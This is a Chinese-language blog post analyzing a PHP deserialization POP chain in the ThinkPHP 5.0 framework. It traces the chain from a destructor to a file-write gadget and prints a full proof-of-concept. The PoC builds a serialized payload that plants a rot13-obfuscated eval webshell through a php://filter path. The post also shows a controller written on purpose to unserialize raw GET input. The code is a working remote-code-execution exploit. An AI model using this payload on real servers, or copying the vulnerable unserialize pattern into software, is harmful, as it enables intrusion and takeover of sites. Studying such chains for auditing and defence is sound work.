这个洞的利用需要利用tp进行二次开发,当unserialize的参数可控,既可触发这个洞。在index控制器中写入:

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $c = unserialize($_GET['c']);
        var_dump($c);
        return 'Welcome to ThinkPHP!';
    }
}

POP链构造分析

首先,进行全局搜索__destruct,查看thinkphp/library/think/process/pipes/Windows.php的Windows类中调用了__destruct魔术方法。

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

跟进removeFiles,发现file__exists函数,file__exists处理的时候会将当作字符串来处理,所以可以调用__toString,全局搜索__toString。

public function __toString()
{
     return $this->toJson();
}

跟进toJson

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
     return json_encode($this->toArray(), $options);
}

继续跟进toArray方法,这里发现三处可以触发__call方法。

经过分析最后一处的参数可控,可以调用__call方法,要执行到这里,要满足如下条件:

$this->append可控且为数组,进入下面关键两行代码。

$modelRelation = $this->$relation(); 
$value = $this->getRelationData($modelRelation);

$relation由$this->append控制,这里需要找个可控的点,在Model方法中getError方法可控

public function getError()
{
    return $this->error;
}

跟进getRelationData方法,要满足if语句的条件就可以让value可控

通过全局搜索isSelfRelation,发现isSelfRelation方法是类Relation,而HasOne,OneToOne是Relation的子类,所以$modelRelation可以实例化HasOne类,继续都下面的代码,要满足:

if (method_exists($modelRelation, 'getBindAttr'))

全局搜索getBindAttr,发现OneToOne中存在此方法,发现bindAttr可控

public function getBindAttr()
{
    return $this->bindAttr;
}

最后value可控,执行$item[$key] = $value ? $value->getAttr($attr) : null;就可以调用到__call方法,全局查看__call,漏洞触发点在thinkphp/library/think/console/Output.php

跟进搜索block方法

protected function block($style, $message)
{
    $this->writeln("<{$style}>{$message}</$style>");
}

继续跟进writeln,在跟进write

这里发现$this->handle可控,可以进行全局搜索wirte方法

找到thinkphp/library/think/session/driver/Memcached.php文件中存在write方法,且$this->handle可控,继续全局查找set方法,在文件thinkphp/library/think/cache/driver/File.php发现存在写入文件。

这里跟进getCacheKey方法,查看filename是否可控

这里$this->options可控,目前filename可控了,现在就只需要写入的data可控了,跟进setTagItem方法看一下,发现又执行了一次set。

发现value的值就为传进来的filename。最后,整个的pop链就分析完了,贴上安全客的一篇文章

的pop链图。

最后,poc如下:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];//触发Model __toString(),子类Pivot合适
    }
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
    function __construct(){
        parent::__construct();
    }

}
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();//目的调用其write()
        $this->styles = ['getAttr'];
    }
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();#Output对象,目的是调用__call()
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation子类,且有getBindAttr()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();

    }
}

namespace think\db;#Query
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();
    }
}

namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();//目的调用File->set()
    }
}
namespace think\cache\driver;#File
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
            'data_compress' => false,
        ];
        $this->tag = true;
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{


}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

poc只能对linux,windows限制了文件名,最后,文件的命名规则如下:

<?cuc cucvasb();riny($_TRG[pzq]);?> + md5('tag_'.md5($this->tag))

参考文章

https://www.anquanke.com/post/id/196364#h2-0

http://pines404.online/2020/01/20/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/ThinkPHP/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/